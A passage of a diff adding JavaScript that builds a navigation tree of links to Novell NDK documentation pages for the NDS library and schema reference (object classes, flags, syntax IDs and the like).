+ var navElement = navigationLink("DCK_NAME_FORM Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hmd7uuiw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_CONFIDENCE Bit Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7hy5yg3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_DSI_FLAGS Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huh0ri39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSI_ENTRY_FLAGS Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqwiyl1u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter Tokens ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h487zxy3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Attribute Definitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hdqx1cns.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Class Definitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hcq403ms.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Search and Read ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/ha682lf8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Name Space Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hs6qj0yl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Access Control Rights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h12s89uj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Ping Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hf0fdqhd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSP Replica Information Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hw42a7qg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hniuyp90.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Scope Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h6wfyyfk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he290q86.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica States ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h9br9yt1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax Matching Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hd8fn0rm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax IDs ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hn1dsa7y.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Example Code ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hb05g04v.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2sofgc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object and Attribute ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snp6e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Browsing and Searching ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snu78.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Batch Modification of Objects and Attributes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snzot.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snqyd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Schema Reference ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h4q1mn1i.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Concepts ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h282spjh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Structure ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hpmkggmh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Components ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hvt5bdoi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hbna398k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Naming Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h9vf1k0r.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Containment Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hh1izaro.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Super Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hmdjysrx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Class Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h6rvyaky.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mandatory and Optional Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h2vnta8j.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default ACL Templates ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hr9sm1l0.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Auxiliary Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hlh5m1af.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Type Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hotadinr.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Syntax Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h2m59phc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/he5mef3b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Base Object Class Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hmv2qd15.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("AFP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk75.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Alias ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk83.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("applicationEntity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk91.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("applicationProcess ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk99.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:File Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk107.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk115.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk123.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("certificationAuthority ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk131.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CommExec ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk139.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Computer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk147.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Country ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk155.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("cRLDistributionPoint ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk163.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dcObject ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk179.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk187.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("domain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk195.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dSA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk203.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Entity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk219.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk227.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a38rj6z.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk243.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk251.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Locality ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk259.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Security Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk267.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk275.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk283.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NCP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk291.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk347.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Certificate Authority ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk355.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key Material ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk363.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Access Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvd6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvdx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvbk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvcf.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:groupOfCertificates ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk421.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailGroup1 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk445.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailRecipient ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk466.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:NetscapeMailServer5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:NetscapeServer5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk482.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nginfo3 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk518.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organization ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Person ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk541.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk550.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk561.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk570.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Person ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk578.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pkiCA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk586.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pkiUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk594.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk602.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk610.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk618.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk626.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk634.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Security ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk650.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk658.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("strongAuthenticationUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk698.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Template ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk706.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Top ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk714.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Root ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk730.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk738.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userSecurityInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk746.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk754.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:LAN Area ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk762.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Novell Object Class Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3fh4x1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:CRLDistributionPoint ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk211.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("inetOrgPerson ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk235.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Broker ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk299.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Manager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk307.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk315.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk323.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Master Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk331.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Slave Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk339.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
